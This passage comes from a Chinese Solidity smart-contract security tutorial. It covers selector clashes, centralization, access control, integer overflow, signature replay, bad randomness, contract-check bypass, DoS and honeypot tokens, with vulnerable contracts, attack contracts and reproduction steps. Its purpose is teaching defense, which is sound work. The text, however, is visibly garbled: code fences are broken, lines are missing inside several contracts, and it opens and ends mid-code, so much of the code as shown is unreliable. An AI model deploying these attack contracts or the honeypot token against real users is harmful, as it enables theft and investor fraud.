peopleLduohW(uint256)"`啊！在生命的早晨，他是个孩子，用两条腿和两只手爬行；到了生命的中午，他变成壮年，只用两条腿走路；到了生命的傍晚，他年老体衰，必须借助拐杖走路，所以被称为三只脚。”谜语再次被猜中后，斯芬克斯气急败坏，脚下一打滑就从巍峨的峭崖上掉下去摔死了。

![](./img/S02-2.png)

## 漏洞合约例子

### 漏洞合约

下面我们来看一下有漏洞的合约例子。`SelectorClash`合约有`1`个状态变量 `solved`，初始化为`false`，攻击者需要将它改为`true`。合约主要有`2`个函数，函数名沿用自 Poly Network 漏洞合约。

1. `putCurEpochConPubKeyBytes()` ：攻击者调用这个函数后，就可以将`solved`改为`true`，完成攻击。但是这个函数检查`msg.sender == address(this)`，因此调用者必须为合约本身，我们需要看下其他函数。

2. `executeCrossChainTx()` ：通过它可以调用合约内的函数，但是函数参数的类型和目标函数不太一样：目标函数的参数为`(bytes)`，而这里调用的函数参数为`(bytes,bytes,uint64)`。

contract SelectorClash {
    bool public solved; // 攻击是否成功

    // 攻击者需要调用这个函数，但是调用者 msg.sender 必须是本合约。
    function putCurEpochConPubKeyBytes(bytes memory _bytes) public {
        require(msg.sender == address(this), "Not Owner");
        solved = true;
    }

    // 有漏洞，攻击者可以通过改变 _method 变量碰撞函数选择器，调用目标函数并完成攻击。
    function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){
        (success, ) =

address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num)));
    }
}
```

### 攻击方法

我们的目标是利用`executeCrossChainTx()`函数调用合约中的`putCurEpochConPubKeyBytes()`，目标函数的选择器为：`0x41973cd9`。观察到`executeCrossChainTx()`中是利用`_method`参数和`"(bytes,bytes,uint64)"`作为函数签名计算的选择器。因此，我们只需要选择恰当的`_method`，让这里算出的选择器等于`0x41973cd9`，通过选择器碰撞调用目标函数。

Poly Network黑客事件中，黑客碰撞出的`_method`为 `f1121318093`，即`f1121318093(bytes,bytes,uint64)`的哈希前`4`位也是`0x41973cd9`，可以成功的调用函数。接下来我们要做的就是将`f1121318093`转换为`bytes`类型：`0x6631313231333138303933`，然后作为参数输入到`executeCrossChainTx()`中。`executeCrossChainTx()`函数另`3`个参数不重要，都填 `0x` 就可以。

1. 部署`SelectorClash`合约。
2. 调用`executeCrossChainTx()`，参数填`0x6631313231333138303933`，`0x`，`0x`，`0x`，发起攻击。
3. 查看`solved`变量的值，被修改为`ture`，攻击成功。

## 总结

这一讲，我们介绍了选择器碰撞攻击，它是导致跨链桥 Poly Network 被黑 6.1 亿美金的的原因之一。这个攻击告诉了我们：

1. 函数选择器很容易被碰撞，即使改变参数类型，依然能构造出具有相同选择器的函数。

2. 管理好合约函数的权限，确保拥有特殊权限的合约的函数不能被用户调用。

---
title: S03. 中心化风险
tags:
  - solidity
  - security
  - multisig
---

# WTF Solidity 合约安全: S03. 中心化风险

推特：[@0xAA_Science](https://twitter.com/0xAA_Science)｜[@WTFAcademy_](https://twitter.com/WTFAcademy_)

-----

这一讲，我们将介绍智能合约中的中心化和伪去中心化所带来的风险。`Ronin`桥和`Harmony`桥因该漏洞被黑客攻击，分别被盗取了 6.24 亿美元和 1 亿美元。

## 中心化风险

我们经常以Web3的去中心化为骄傲，认为在Web3.0世界里，所有权和控制权都是去中心化。但实际上，中心化是Web3项目最常见的风险之一。知名区块链审计公司Certik在[2021年DeFi安全报告](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf)中指出：

> 中心化风险是 DeFi 中最常见的漏洞，2021年中有 44 次 DeFi 黑客攻击与它相关，造成用户资金损失超过 13

亿美元。这强调了权力下放的重要性，许多项目仍需努力实现这一目标。

中心化风险指智能合约的所有权是中心化的，例如合约的`owner`由一个地址控制，它可以随意修改合约参数，甚至提取用户资金。中心化的项目存在单点风险，可以被恶意开发者（内鬼）或黑客利用，只需要获取具有控制权限地址的私钥之后，就可以通过`rug-pull`，无限铸币，或其他类型方法盗取资金。

链游项目`Vulcan Forged`在2021年12月因私钥泄露被盗 1.4 亿美元，DeFi项目`EasyFi`在2021年4月因私钥泄露被盗 5900 万美元，DeFi项目`bZx`在钓鱼攻击中私钥泄露被盗 5500 万美元。

## 伪去中心化风险

伪去中心化的项目通常对外鼓吹自己是去中心化的，但实际上和中心化项目一样存在单点风险。比如使用多签钱包来管理智能合约，但几个多签人是一致行动人，背后由一个人控制。这类项目由于包装的很去中心化，容易得到投资者信任，所以当黑客事件发生时，被盗金额也往往更大。

近两年爆火的链游项目 Axie 的 Ronin 链跨链桥项目在2022年3月被盗 6.24 亿美元，是历史上被盗金额最大的事件。Ronin 跨链桥由 9 个验证者维护，必须有 5 个人达成共识才能批准存款和提款交易。这看起来像多签一样，非常去中心化。但实际上其中 4 个验证者由 Axie 的开发公司 Sky Mavis 控制，而另 1 个由 Axie DAO 控制的验证者也批准了 Sky Mavis 验证节点代表他们签署交易。因此，在攻击者获取了 Sky Mavis 的私钥后（具体方法未披露），就可以控制 5 个验证节点，授权盗走了 173,600 ETH 和 2550 万USDC。

`Harmony`公链的跨链桥在2022年6月被盗 1 亿美元。`Harmony`桥由5 个多签人控制，很离谱的是只需其中 2 个人签名就可以批准一笔交易。在黑客设法盗取两个多签人的私钥后，将用户质押的资产盗空。

![](./img/S03-1.png)

## 漏洞合约例子

有中心化风险的合约多种多样，这里只举一个最常见的例子：`owner`地址可以任意铸造代币的`ERC20`合约。当项目内鬼或黑客取得`owner`的私钥后，可以无限铸币，造成投资人大量损失。

import

"@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Centralization is ERC20, Ownable {
    constructor() ERC20("Centralization", "Cent") {
        address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2;
        transferOwnership(exposedAccount);
    }

    function mint(address to, uint256 amount) external onlyOwner{
        _mint(to, amount);
    }
}
```

## 如何减少中心化/伪去中心化风险？

1. 使用多签钱包管理国库和控制合约参数。为了兼顾效率和去中心化，可以选择 4/7 或 6/9 多签。如果你不了解多签钱包，可以阅读[WTF Solidity第50讲：多签钱包](https://github.com/AmazingAng/WTFSolidity/blob/main/50_MultisigWallet/readme.md)。

2. 多签的持有人要多样化，分散在创始团队、投资人、社区领袖之间，并且不要相互授权签名。

3. 使用时间锁控制合约，在黑客或项目内鬼修改合约参数/盗取资产时，项目方和社区有一些时间来应对，将损失最小化。如果你不了解时间锁合约，可以阅读[WTF Solidity第45讲：时间锁](https://github.com/AmazingAng/WTFSolidity/blob/main/45_TokenLocker/readme.md)。

## 总结

中心化/伪去中心化是区块链项目最大的风险，近两年造成用户资金损失超过 20 亿美元。中心化风险通过分析合约代码就可以发现，而伪去中心化风险藏的更深，需要对项目进行细致的尽职调查才能发现。

---
title: S04. 权限管理漏洞
tags:
  - solidity
  - security
  - modifier
  - erc20
---

# WTF Solidity 合约安全: S04. 权限管理漏洞

-----

这一讲，我们将介绍智能合约的权限管理漏洞。这个漏洞导致了跨链桥 Poly Network 被黑 6.11 亿美元，并导致了BSC上DeFi项目 ShadowFi 被黑 $300,000。

## 权限管理漏洞

智能合约中的权限管理定义了不同角色在应用中的权限。通常来说，代币的铸造、提取资金、暂停等功能都需要较高权限的用户才能调用。如果权限配置错误，就可能造成意想不到的损失。下面我们介绍两种常见的权限管理漏洞。

### 1. 权限配置错误

如果合约中特殊功能没有加上权限管理，那么任何人都能铸造大量代币或将合约中的资金提光。跨链桥 Poly Network 的合约中转移守护者的函数没有配置相应权限，被黑客改为自己的地址，从而提走了合约中的 6.11 亿美元。

在下面的代码中，`mint()`函数没有进行权限管理，那么任何人都可以调用它铸造代币。

// 错误的mint函数，没有限制权限
function badMint(address to, uint amount) public {
   
   _mint(to, amount);
}
```

![](./img/S04-1.png)

### 2. 授权检查错误

另一类常见的权限管理漏洞是没有在函数中检查调用者是否拥有足够的授权。BSC上DeFi项目 ShadowFi 的代币合约忘了在 `burn()` 销毁函数中检查调用者的授权额度，导致攻击者可以任意的销毁其他地址的代币。在黑客将流动性池子中的代币销毁之后，仅需卖出一点代币就可以将池子里的所有 `BNB` 提走，获利 $300,000。

// 错误的burn函数，没有限制权限
function badBurn(address account, uint amount) public {
    _burn(account, amount);
}
```

![](./img/S04-2.png)

## 预防办法

权限管理漏洞主要有两种预防办法：

1. 使用 Openzeppelin 的权限管理库给合约的特殊函数配置相应的权限，比如使用`OnlyOwner`修饰器，只有合约所有者才能调用。

  ```solidity
  // 正确的mint函数，使用 onlyOwner 修饰器限制权限
  function goodMint(address to, uint amount) public onlyOwner {
      _mint(to, amount);
  }
  ```

2. 在函数的逻辑中确保合约调用者拥有足够的授权。

  // 正确的burn函数，如果销毁的不是自己的代币，则会检查授权
  function goodBurn(address account, uint amount) public {
      if(msg.sender != account){
          _spendAllowance(account, msg.sender, amount);
      }
      _burn(account, amount);
  }
  ```

## 总结

这一讲，我们介绍了智能合约中的权限管理漏洞。它主要有两种形式：权限配置错误和授权检查错误。为了避免这类漏洞，我们要使用权限管理库给特殊函数配置相应的权限，并且在函数的逻辑中确保合约调用者拥有足够的授权。

---
title: S05. 整型溢出
tags:
  - solidity
  - security
---

# WTF Solidity 合约安全: S05. 整型溢出

-----

这一讲，我们将介绍整型溢出漏洞（Arithmetic Over/Under Flows）。这是一个比较经典的漏洞，Solidity 0.8版本后内置了Safemath库，因此很少发生。

## 整型溢出

以太坊虚拟机（EVM）为整型设置了固定大小，因此它只能表示特定范围的数字。例如 `uint8`，只能表示 [0,255] 范围内的数字。如果给 `uint8` 类型变量的赋值 `257`，则会上溢（overflow）变为 `1`；如果给它赋值`-1`，则会下溢（underflow）变为`255`。

攻击者可以利用这个漏洞进行攻击：想象一下，黑客余额为`0`，他凭空花 `$1` 之后，余额突然变成了 `$2^256-1`。2018年的土狗项目 `PoWHC` 因为这个漏洞被盗了 `866 ETH`。

![](./img/S05-1.png)

## 漏洞合约例子

下面这个例子是一个简单的代币合约，参考了 `Ethernaut` 中的合约。它有 `2` 个状态变量：`balances` 记录了每个地址的余额，`totalSupply` 记录了代币总供给。

它有

`3` 个函数：

- 构造函数：初始化代币总供给。
- `transfer()`：转账函数。
- `balanceOf()`：查询余额函数。

由于solidity `0.8.0` 版本之后会自动检查整型溢出错误，溢出时会报错。如果我们要重现这种漏洞，需要使用 `unchecked` 关键字，在代码块中临时关掉溢出检查，就像我们在 `transfer()` 函数中做的那样。

这个例子中的漏洞就出现在`transfer()` 函数中，`require(balances[msg.sender] - _value >= 0);` 这个检查由于整型溢出，永远都会通过。因此用户可以无限转账。

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }
  
  function transfer(address _to, uint _value) public returns (bool) {
    unchecked{
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
    }
    return true;
  }
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```

## `Remix` 复现

1. 部署 `Token` 合约，将总供给设为 `100`。
2. 向另一个账户转账 `1000` 个代币，可以转账成功。
3. 查询自己账户的余额，发现是一个非常大的数字，约为`2^256`。

## 预防办法

1. Solidity `0.8.0` 之前的版本，在合约中引用 [Safemath

库](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol)，在整型溢出时报错。

2. Solidity `0.8.0` 之后的版本内置了 `Safemath`，因此几乎不存在这类问题。开发者有时会为了节省gas使用 `unchecked` 关键字在代码块中临时关闭整型溢出检测，这时要确保不存在整型溢出漏洞。

## 总结

这一讲，我们介绍了经典的整型溢出漏洞，由于solidity 0.8.0 版本后内置 `Safemath` 的整型溢出检查，这类漏洞已经很少见了。

---
title: S06. 签名重放
tags:
  - solidity
  - security
---

# WTF Solidity 合约安全: S06. 签名重放

-----

这一讲，我们将介绍智能合约的签名重放（Signature Replay）攻击和预防方法，它曾间接导致了著名做市商 Wintermute 被盗2000万枚 $OP。

## 签名重放

上学的时候，老师经常会让家长签字，有时候家长很忙，我就会很“贴心”照着以前的签字抄一遍。某种意义上来说，这就是签名重放。

在区块链中，数字签名可以用于识别数据签名者和验证数据完整性。发送交易时，用户使用私钥签名交易，使得其他人可以验证交易是由相应账户发出的。智能合约也能利用 `ECDSA` 算法验证用户将在链下创建的签名，然后执行铸造或转账等逻辑。更多关于数字签名的介绍请见[WTF Solidity第37讲：数字签名](https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md)。

数字签名一般有两种常见的重放攻击：

1. 普通重放：将本该使用一次的签名多次使用。NBA官方发布的《The Association》系列 NFT

因为这类攻击被免费铸造了上万枚。
2. 跨链重放：将本该在一条链上使用的签名，在另一条链上重复使用。做市商 Wintermute 因为跨链重放攻击被盗2000万枚 $OP。

![](./img/S06-1.png)

## 漏洞合约例子

下面的`SigReplay`合约是一个`ERC20`代币合约，它的铸造函数有签名重放漏洞。它使用链下签名让白名单地址 `to` 铸造相应数量 `amount` 的代币。合约中保存了 `signer` 地址，来验证签名是否有效。

import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

// 权限管理错误例子
contract SigReplay is ERC20 {

    address public signer;

    // 构造函数：初始化代币名称和代号
    constructor() ERC20("SigReplay", "Replay") {
        signer = msg.sender;
    }
    
    /**
     * 有签名重放漏洞的铸造函数
     * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * amount: 1000
     * 签名： 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b
     */
    function badMint(address to, uint amount, bytes memory signature) public {
        bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount));
        require(verify(_msgHash, signature), "Invalid Signer!");
        _mint(to,

amount);
    }

    /**
     * 将to地址（address类型）和amount（uint256类型）拼成消息msgHash
     * 对应的消息msgHash: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be
     */
    function getMessageHash(address to, uint256 amount) public pure returns(bytes32){
        return keccak256(abi.encodePacked(to, amount));
    }

    /**
     * @dev 获得以太坊签名消息
     * `hash`：消息哈希 
     */
    function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
    }

    // ECDSA验证
    function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){
        return ECDSA.recover(_msgHash, _signature) == signer;
    }
```

**注意** 铸造函数 `badMint()` 没有对 `signature` 查重，导致同样的签名可以多次使用，无限铸造代币。

    function badMint(address to, uint amount, bytes memory signature)

public {
        bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount)));
    }
```

**1.** 部署 `SigReplay` 合约，签名者地址 `signer` 被初始化为部署钱包地址。

![](./img/S06-2.png)

**2.** 利用`getMessageHash`函数获取消息。

![](./img/S06-3.png)

**3.** 点击 `Remix` 部署面板的签名按钮，使用私钥给消息签名。

![](./img/S06-4.png)

**4.** 反复调用 `badMint` 进行签名重放攻击，铸造大量代币。

![](./img/S06-5.png)

## 预防办法

签名重放攻击主要有两种预防办法：

1. 将使用过的签名记录下来，比如记录下已经铸造代币的地址 `mintedAddress`，防止签名反复使用：

    function goodMint(address to, uint amount, bytes memory signature) public {
        // 检查该地址是否mint过
        require(!mintedAddress[to], "Already minted");
        // 记录mint过的地址
        mintedAddress[to] = true;
    }

2. 将 `nonce` （数值随每次交易递增）和 `chainid` （链ID）包含在签名消息中，这样可以防止普通重放和跨链重放攻击：

    uint nonce;

    function nonceMint(address to, uint amount,

bytes memory signature) public {
        bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid)));
        nonce++;
    }
    ```

## 总结

这一讲，我们介绍了智能合约中的签名重放漏洞，并介绍了两个预防方法：

1. 将使用过的签名记录下来，防止二次使用。

2. 将 `nonce` 和 `chainid` 包含到签名消息中。

---
title: S07. 坏随机数
tags:
  - solidity
  - security
  - random
---

# WTF Solidity 合约安全: S07. 坏随机数

-----

这一讲，我们将介绍智能合约的坏随机数（Bad Randomness）漏洞和预防方法，这个漏洞经常在 NFT 和 GameFi 中出现，包括 Meebits，Loots，Wolf Game等。

## 伪随机数

很多以太坊上的应用都需要用到随机数，例如`NFT`随机抽取`tokenId`、抽盲盒、`gamefi`战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明（`public`）且确定性（`deterministic`）的，它没有其他编程语言一样给开发者提供生成随机数的方法，例如`random()`。很多项目方不得不使用链上的伪随机数生成方法，例如 `blockhash()` 和 `keccak256()` 方法。

坏随机数漏洞：攻击者可以事先计算这些伪随机数的结果，从而达到他们想要的目的，例如铸造任何他们想要的稀有`NFT`而非随机抽取。更多的内容可以阅读 [WTF Solidity极简教程

第39讲：伪随机数](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random)。

![](./img/S07-1.png)

## 坏随机数案例

下面我们学习一个有坏随机数漏洞的 NFT 合约： BadRandomness.sol。

contract BadRandomness is ERC721 {
    uint256 totalSupply;

    // 构造函数，初始化NFT合集的名称、代号
    constructor() ERC721("", ""){}

    // 铸造函数：当输入的 luckyNumber 等于随机数时才能mint
    function luckyMint(uint256 luckyNumber) external {
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number
        require(randomNumber == luckyNumber, "Better luck next time!");

        _mint(msg.sender, totalSupply); // mint
        totalSupply++;
    }
}
```

它有一个主要的铸造函数 `luckyMint()`，用户调用时输入一个 `0-99` 的数字，如果和链上生成的伪随机数 `randomNumber` 相等，即可铸造幸运 NFT。伪随机数使用 `blockhash` 和 `block.timestamp` 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约 `Attack.sol`。

    function attackMint(BadRandomness nftAddr) external {
        // 提前计算随机数
        uint256 luckyNumber = uint256(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        ) % 100;
        // 利用 luckyNumber 攻击
        nftAddr.luckyMint(luckyNumber);
   
   }
}
```

攻击函数 `attackMint()`中的参数为 `BadRandomness`合约地址。在其中，我们计算了随机数 `luckyNumber`，然后将它作为参数输入到 `luckyMint()` 函数完成攻击。由于`attackMint()`和`luckyMint()`将在同一个区块中调用，`blockhash`和`block.timestamp`是相同的，利用他们生成的随机数也相同。

由于 Remix 自带的 Remix VM不支持 `blockhash`函数，因此你需要将合约部署到以太坊测试链上进行复现。

1. 部署 `BadRandomness` 合约。

2. 部署 `Attack` 合约。

3. 将 `BadRandomness` 合约地址作为参数传入到 `Attack` 合约的 `attackMint()` 函数并调用，完成攻击。

4. 调用 `BadRandomness` 合约的 `balanceOf` 查看`Attack` 合约NFT余额，确认攻击成功。

## 预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞，例如 Chainlink VRF。这类随机数从链下生成，然后上传到链上，从而保证随机数不可预测。更多介绍可以阅读 [WTF Solidity极简教程 第39讲：伪随机数](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random)。

## 总结

这一讲我们介绍了坏随机数漏洞，并介绍了一个简单的预防方法：使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖，以防被黑客利用。

---
title: S08. 绕过合约检查
tags:
  - solidity
  - security
---

# WTF Solidity 合约安全: S08. 绕过合约长度检查

-----

这一讲，我们将介绍绕过合约长度检查，并介绍预防的方法。

## 绕过合约检查

很多 freemint 的项目为了限制科学家（程序员）会用到 `isContract()` 方法，希望将调用者 `msg.sender` 限制为外部账户（EOA），而非合约。这个函数利用 `extcodesize` 获取该地址所存储的 `bytecode` 长度（runtime），若大于0，则判断为合约，否则就是EOA（用户）。

    // 利用 extcodesize 检查是否为合约
    function isContract(address account) public view returns (bool) {
        // extcodesize > 0 的地址一定是合约地址
        // 但是合约在构造函数时候 extcodesize 为0
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
```

这里有一个漏洞，就是在合约在被创建的时候，`runtime

bytecode` 还没有被存储到地址上，因此 `bytecode` 长度为0。也就是说，如果我们将逻辑写在合约的构造函数 `constructor` 中的话，就可以绕过 `isContract()` 检查。

![](./img/S08-1.png)

## 漏洞例子

下面我们来看一个例子：`ContractCheck`合约是一个 freemint ERC20 合约，铸造函数 `mint()` 中使用了 `isContract()` 函数来阻止合约地址的调用，防止科学家批量铸造。每次调用 `mint()` 可以铸造 100 枚代币。

// 用extcodesize检查是否为合约地址
contract ContractCheck is ERC20 {
    constructor() ERC20("", "") {}
    
        uint size;
        assembly {
        }
    }

    // mint函数，只有非合约地址能调用（有漏洞）
    function mint() public {
        require(!isContract(msg.sender), "Contract not allowed!");
        _mint(msg.sender, 100);
    }
}
```

我们写一个攻击合约，在 `constructor` 中多次调用 `ContractCheck` 合约中的 `mint()` 函数，批量铸造 `1000` 枚代币：

// 利用构造函数的特点攻击
contract NotContract {
    bool public isContract;
    address public contractCheck;

    // 当合约正在被创建时，extcodesize (代码长度) 为 0，因此不会被 isContract() 检测出。
    constructor(address addr) {
        contractCheck = addr;
        isContract =

ContractCheck(addr).isContract(address(this));
        // This will work
        for(uint i; i < 10; i++){
            ContractCheck(addr).mint();
        }
    }

    // 合约创建好以后，extcodesize > 0，isContract() 可以检测
    function mint() external {
        ContractCheck(contractCheck).mint();
    }
}
```

如果我们之前讲的是正确的话，在构造函数调用 `mint()` 可以绕过 `isContract()` 的检查成功铸造代币，那么函数将成功部署，并且状态变量 `isContract` 会在构造函数赋值 `false`。而在合约部署之后，`runtime bytecode` 已经被存储在合约地址上了，`extcodesize > 0`， `isContract()` 能够成功阻止铸造，调用 `mint()` 函数将失败。

1. 部署 `ContractCheck` 合约。

2. 部署 `NotContract` 合约，参数为 `ContractCheck` 合约地址。

3. 调用 `ContractCheck` 合约的 `balanceOf` 查看 `NotContract` 合约的代币余额为 `1000`，攻击成功。

4. 调用`NotContract` 合约的 `mint()` 函数，由于此时合约已经部署完成，调用 `mint()` 函数将失败。

## 预防办法

你可以使用 `(tx.origin == msg.sender)` 来检测调用者是否为合约。如果调用者为 EOA，那么`tx.origin`和`msg.sender`相等；如果它们俩不相等，调用者为合约。

```
function realContract(address account) public view returns (bool) {
    return (tx.origin == msg.sender);
}
```

## 总结

这一讲，我们介绍了合约长度检查可以被绕过的漏洞，并介绍预防的方法。如果一个地址的 `extcodesize > 0`，则该地址一定为合约；但如果 `extcodesize = 0`，该地址既可能为 `EOA`，也可能为正在创建状态的合约。

---
title: S09. 拒绝服务
tags:
  - solidity
  - security
  - fallback
---

# WTF Solidity 合约安全: S09. 拒绝服务

我最近在重新学 solidity，巩固一下细节，也写一个“WTF Solidity 极简入门”，供小白们使用（编程大佬可以另找教程），每周更新 1-3 讲。

所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity)

---

这一讲，我们将介绍智能合约的拒绝服务（Denial of Service, DoS）漏洞，并介绍预防的方法。NFT 项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH，当时价值 3400 万美元。

## DoS

在 Web2 中，拒绝服务攻击（DoS）是指通过向服务器发送大量垃圾信息或干扰信息的方式，导致服务器无法向正常用户提供服务的现象。而在 Web3，它指的是利用漏洞使得智能合约无法正常提供服务。

在 2022 年 4 月，一个很火的 NFT 项目名为 Akutar，他们使用[荷兰拍卖](https://github.com/AmazingAng/WTF-Solidity/tree/main/35_DutchAuction)进行公开发行，筹集了 11,539.5 ETH，非常成功。之前持有他们社区 Pass 的参与者会得到 0.5 ETH 的退款，但是他们处理退款的时候，发现智能合约不能正常运行，全部资金被永远锁在了合约里。他们的智能合约有拒绝服务漏洞。

![](./img/S09-1.png)

##

漏洞例子

下面我们学习一个简化了的 Akutar 合约，名字叫 `DoSGame`。这个合约逻辑很简单，游戏开始时，玩家们调用 `deposit()` 函数往合约里存款，合约会记录下所有玩家地址和相应的存款；当游戏结束时，`refund()`函数被调用，将 ETH 依次退款给所有玩家。

// 有DoS漏洞的游戏，玩家们先存钱，游戏结束后，调用deposit退钱。
contract DoSGame {
    bool public refundFinished;
    mapping(address => uint256) public balanceOf;
    address[] public players;

    // 所有玩家存ETH到合约里
        require(!refundFinished, "Game Over");
        require(msg.value > 0, "Please donate ETH");
        // 记录存款
        balanceOf[msg.sender] = msg.value;
        // 记录玩家地址
        players.push(msg.sender);
    }

    // 游戏结束，退款开始，所有玩家将依次收到退款
    function refund() external {
        uint256 pLength = players.length;
        // 通过循环给所有玩家退款
        for(uint256 i; i < pLength; i++){
            address player = players[i];
            uint256 refundETH = balanceOf[player];
            (bool success, ) = player.call{value: refundETH}("");
            require(success, "Refund Fail!");
            balanceOf[player] = 0;
        }
        refundFinished = true;
    }

    function balance() external view returns(uint256){
    }
}
```

这里的漏洞在于，`refund()`

函数中利用循环退款的时候，是使用的 `call` 函数，将激活目标地址的回调函数，如果目标地址为一个恶意合约，在回调函数中加入了恶意逻辑，退款将不能正常进行。

```
(bool success, ) = player.call{value: refundETH}("");
```

下面我们写个攻击合约， `attack()` 函数中将调用 `DoSGame` 合约的 `deposit()` 存款并参与游戏；`fallback()` 回调函数将回退所有向该合约发送`ETH`的交易，对`DoSGame` 合约中的 DoS 漏洞进行了攻击，所有退款将不能正常进行，资金被锁在合约中，就像 Akutar 合约中的一万多枚 ETH 一样。

    // 退款时进行DoS攻击
        revert("DoS Attack!");
    }

    // 参与DoS游戏并存款
    function attack(address gameAddr) external payable {
        DoSGame dos = DoSGame(gameAddr);
        dos.deposit{value: msg.value}();
    }
}
```

**1.** 部署 `DoSGame` 合约。
**2.** 调用 `DoSGame` 合约的 `deposit()`，进行存款并参与游戏。
![](./img/S09-2.png)
**3.** 此时，如果游戏结束调用 `refund()` 退款的话是可以正常退款的。
![](./img/S09-3.jpg)
**3.** 重新部署 `DoSGame` 合约，并部署 `Attack` 合约。
**4.** 调用 `Attack` 合约的 `attack()`，进行存款并参与游戏。
![](./img/S09-4.jpg)
**5.** 调用 `DoSGame` 合约`refund()`，进行退款，发现不能正常运行，攻击成功。
![](./img/S09-5.jpg)

## 预防方法

很多逻辑错误都可能导致智能合约拒绝服务，所以开发者在写智能合约时要万分谨慎。以下是一些需要特别注意的地方：

1. 外部合约的函数调用（例如 `call`）失败时不会使得重要功能卡死，比如将上面漏洞合约中的 `require(success, "Refund Fail!");` 去掉，退款在单个地址失败时仍能继续运行。
2.

合约不会出乎意料的自毁。
3. 合约不会进入无限循环。
4. `require` 和 `assert` 的参数设定正确。
5. 退款时，让用户从合约自行领取（push），而非批量发送给用户(pull)。
6. 确保回调函数不会影响正常合约运行。
7. 确保当合约的参与者（例如 `owner`）永远缺席时，合约的主要业务仍能顺利运行。

## 总结

这一讲，我们介绍了智能合约的拒绝服务漏洞，Akutar 项目因为该漏洞损失了一万多枚ETH。很多逻辑错误都能导致DoS，开发者写智能合约时要万分谨慎，比如退款要让用户自行领取，而非合约批量发送给用户。

---
title: S10. 貔貅
tags:
  - solidity
  - security
  - erc20
  - swap
---

# WTF Solidity 合约安全: S10. 貔貅

所有代码和教程开源在 github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity)

---

这一讲，我们将介绍貔貅合约和预防方法（英文习惯叫蜜罐代币 honeypot token）。

## 貔貅学入门

[貔貅](https://en.wikipedia.org/wiki/Pixiu)是中国的一个神兽，因为在天庭犯了戒，被玉帝揍的肛门封闭了，只能吃不能拉，可以帮人们聚财。但在Web3中，貔貅变为了不详之兽，韭菜的天敌。貔貅盘的特点：投资人只能买不能卖，仅有项目方地址能卖出。

通常一个貔貅盘有如下的生命周期：

1. 恶意项目方部署貔貅代币合约。
2. 宣传貔貅代币让散户上车，由于只能买不能卖，代币价格会一路走高。
3. 项目方`rug pull`卷走资金。

![](./img/S10-1.png)

学会貔貅合约的原理，才能更好的识别并避免被割，才能做一个顽强的韭菜！

## 貔貅合约

这里我们介绍一个极简的ERC20代币貔貅合约`Pixiu`。在该合约中，只有合约拥有者可以在`uniswap`出售代币，其他地址不能。

`Pixiu` 有一个状态变量`pair`，用于记录`uniswap`中

`Pixiu-ETH LP`的币对地址。它主要有三个函数：

1. 构造函数：初始化代币的名称和代号，并根据 `uniswap` 和 `create2` 的原理计算`LP`合约地址，具体内容可以参考 [WTF Solidity 第25讲: Create2](https://github.com/AmazingAng/WTFSolidity/blob/main/25_Create2/readme.md)。这个地址会在 `_beforeTokenTransfer()` 函数中用到。
2. `mint()`：铸造函数，仅 `owner` 地址可以调用，用于铸造 `Pixiu` 代币。
3. `_beforeTokenTransfer()`：`ERC20`代币在被转账前会调用的函数。在其中，我们限制了当转账的目标地址 `to` 为 `LP` 的时候，也就是韭菜卖出的时候，交易会 `revert`；只有调用者为`owner`的时候能够成功。这也是貔貅合约的核心。

// 极简貔貅ERC20代币，只能买，不能卖
contract HoneyPot is ERC20, Ownable {
    address public pair;

    constructor() ERC20("HoneyPot", "Pi Xiu") {
        address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory
        address tokenA = address(this); // 貔貅代币地址
        address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; //  goerli WETH
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序
        bytes32 salt = keccak256(abi.encodePacked(token0, token1));
        // calculate pair address
        pair = address(uint160(uint(keccak256(abi.encodePacked(
        hex'ff',
        factory,
        salt,
       
       hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
        )))));
